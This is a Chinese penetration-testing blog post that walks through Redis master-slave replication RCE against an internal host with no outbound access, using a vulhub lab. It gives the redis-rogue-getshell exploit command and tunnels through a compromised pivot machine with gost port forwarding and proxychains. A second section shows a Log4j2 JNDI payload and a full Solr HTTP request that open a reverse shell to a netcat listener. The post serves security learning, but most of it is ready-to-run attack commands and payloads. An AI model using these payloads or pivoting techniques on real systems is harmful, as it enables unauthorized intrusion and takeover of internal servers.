不出网Redis主从复制RCE

admin 2024年11月24日12:12:36评论30 views字数 2541阅读8分28秒阅读模式

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

Part1漏洞原理

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

Part2环境搭建

公网IP:xxx.xxx.xxx.xxx

web跳板机IP(内网) windwos2012 : 172.16.0.24

redis:172.16.0.35

web当跳板机,我们这里直接当成已经拿下了web服务器,所以web服务器我们直接架个nps就可以

环境:外网 -> web -> 内网(不出网)

redis 我就打算用vulhub上的redis靶场

sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyum makecache fast -yyum install docker-ce docker-ce-cli containerd.io -ysystemctl start dockersudo curl -L https://ghproxy.com/https://github.com/docker/compose/releases/download/1.16.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-composechmod +x /usr/local/bin/docker-composesystemctl start dockeryum install git -ygit clone https://ghproxy.com/https://github.com/vulhub/vulhub.git

不出网Redis主从复制RCE

redis在公网部署的情况下打主从

直接使用

https://github.com/vulhub/redis-rogue-getshell

直接打即可

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

不出网Redis主从复制RCE

Part3redis在内网中不出网的情况

目前情况:

目标172.16.0.35不出网 跳板机172.16.0.24出网但是没有公网ip 然后我们的工具在vps 服务器xxx.xxx.xxx.xxx上 

主从复制要求我们vps开启一个端口让redis加载恶意exp.so ,但是redis不出网 也就没办法直接指定vps了

方案:

使用跳板机172.16.0.24 在上面开启端口转发

把跳板机一个端口映射到vps上

例如:

redis(172.16.0.35) -> 172.16.0.24:2222 -> xxx.xxx.xxx.xxx:2222

socks5代理:

在web入口机上创建npc连接

不出网Redis主从复制RCE

不出网Redis主从复制RCE

这里搭建socks5代理 配合上 proxychains4 就可以直接在vps上运行socks5代理了

proxychains4 centos7上安装方法:yum install epel-releaseyum install -y proxychains-ngvi /etc/proxychains.conf # 将socks4 127.0.0.1 9095改为socks5 127.0.0.1 45125

端口转发:

这里我直接用gost

https://github.com/ginuerzh/gost
gost-windows-amd64.exe -L=rtcp://:2222/xxx.xxx.xxx.xxx:2222

访问本地 http://127.0.0.1:2222 成功读取到转发请求

不出网Redis主从复制RCE

不出网Redis主从复制RCE

在vps上nc监听下2222

不出网Redis主从复制RCE

成功读取到了信息 理论上这样子就可以了

测试exp

proxychains4 python3 redis-master.py -r 172.16.0.35 -p 6379 -L 172.16.0.24 -P 2222 -f RedisModulesSDK/exp.so -c "id"

不出网Redis主从复制RCE

不出网Redis主从复制RCE

Part4适用于其他漏洞

比如 log4j2的

一样是用vulhub的靶场

不出网Redis主从复制RCE

要用到1389 和 8080 还有就是反弹shell的 2222(前面有映射了 懒得改了)

gost-windows-amd64.exe -L=rtcp://:1389/xxx.xxx.xxx.xxx:1389gost-windows-amd64.exe -L=rtcp://:8080/xxx.xxx.xxx.xxx:8080

不出网Redis主从复制RCE

不出网Redis主从复制RCE

然后就是跑exp了

vps开nc

不出网Redis主从复制RCE

exp使用: JNDIExploit-1.2-SNAPSHOT.jar

不出网Redis主从复制RCE

${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222}# 后面的2222是nc的端口
GET /solr/admin/cores?action=${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222} HTTP/1.1Host: your-ip:8983Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Connection: close

不出网Redis主从复制RCE

快速获得了shell

不出网Redis主从复制RCE

也显示了流量来源

不出网Redis主从复制RCE


原文始发于微信公众号(渗透安全团队):不出网Redis主从复制RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月24日12:12:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不出网Redis主从复制RCEhttp://cn-sec.com/archives/1620215.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息